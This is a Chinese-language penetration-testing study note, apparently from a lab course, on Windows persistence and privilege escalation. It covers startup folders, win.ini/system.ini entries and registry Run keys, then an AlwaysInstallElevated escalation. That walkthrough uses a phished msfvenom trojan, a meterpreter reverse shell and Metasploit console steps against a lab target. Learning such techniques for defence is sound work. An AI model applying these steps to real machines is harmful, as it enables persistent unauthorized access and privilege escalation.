目的:进行持久化的连接
最简单的自启动:
自启动文件夹:开始➡程序➡启动(win7下)
除了通过文件夹,还可以利用Windows配置文件:
win.ini、system.ini、wininit.ini等等,加载一些自动运行的程序
如果打开win.ini文件,文件中有[windows]字段,后跟Run=文件路径 LOAD=文件路径,就是我们要自启动的东西,但如果本身没有[windows]字段,手动去添加的话一般都是失败的
[windows]
Run=正常运行
LOAD=启动后自动最小化运行
再例如system.ini文件,寻找[boot]字段
[boot]
shell=某某某.exe
shell=Explorer.exe 启动的时候运行windows外壳程序
经典妖之吻病毒,就是将system.ini的shell=yzw.exe
注册表(registry,win7繁体中文版中叫登入档)
windows上的重要数据库,应用程序/系统的设置信息
windows 3.0 推出了OLE技术 就已经存在
OLE:创建复合文档,文字、声音、应用程序(应付面试)
表结构
键(主键,项)、子键(子项)、值
值:名称---类型---数据
存储方式
名称 作用
HKEY_CLASSES_ROOT 存储windows可识别的文件类型的详细列表,以及关联程序
HKEY_CURRENT_USER 当前用户设置的信息
HKEY_LOCAL_MACHINE 安装在计算机上的硬件软件信息
HKEY_USERS 计算机用户信息
HKEY_CURRENT_CO 单曲的硬件配置信息
注册表数据类型
REG_SZ:字符串,文本字符串
REG_MULTI_SZ:多字符串值,含有多个文本值的字符串
REG_BINARY:二进制
REG_DWORD:双字节,32未的二进制值,以8位16进制显示
自启动路径
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM对所有用户有效
HKCU对当前用户
常见的run键:RunOnce、RunServicesOnce、RunServices、load、winlogon
复现注册表自启动
1、打开注册表
win+R打开命令窗口,输入regedit
2、根据路径找到run键
这里采用 \HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
3、新建字符串值
4、双击新建字符串值,修改数值数据为我们需要自启动的软件的绝对路径 ,点击确认
5、注销检查是否成功
自启动成功!
msi提权——AlwaysinstallElevated键
组策略,windows允许低权限用户以system权限去安装文件(msi文件)
msi——微软格式的安装包
路径:
本地组策略编辑器 → 配置 → 管理模板 → windows组件 → windows installer → 永....安装
复现msi提权
1、在靶机打开本地组策略编辑器
win+R打开命令框,输入gpedit.msc
2、进行配置
本地组策略编辑器 → 计算机配置 → 管理模板 → windows组件 → windows installer → 永....安装 → 将“禁用”状态改为“启用”状态
3、使用kali主机,利用钓鱼方法(搭建本地网站上传木马,取得meterpreter,前章讲过)
zuizui.exe为事先用msfvenom生成的木马文件,这时靶机进行下载
kali主机成功拿到反弹shell
4、使用always_install_elevated模块
先search intal_elevated,再选择需要使用的模块
sf6 exploit(multi/handler) > search install_elevated
Matching Modules
================# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/local/always_install_elevated 2010-03-18 excellent Yes Windows AlwaysInstallElevated MSI
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/local/always_install_elevatedmsf6 exploit(multi/handler) > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/always_install_elevated) >
show options查看需要的配置
这里的session就设置为我们刚刚取得的反弹shell就好,然后直接开run,msi提权成功。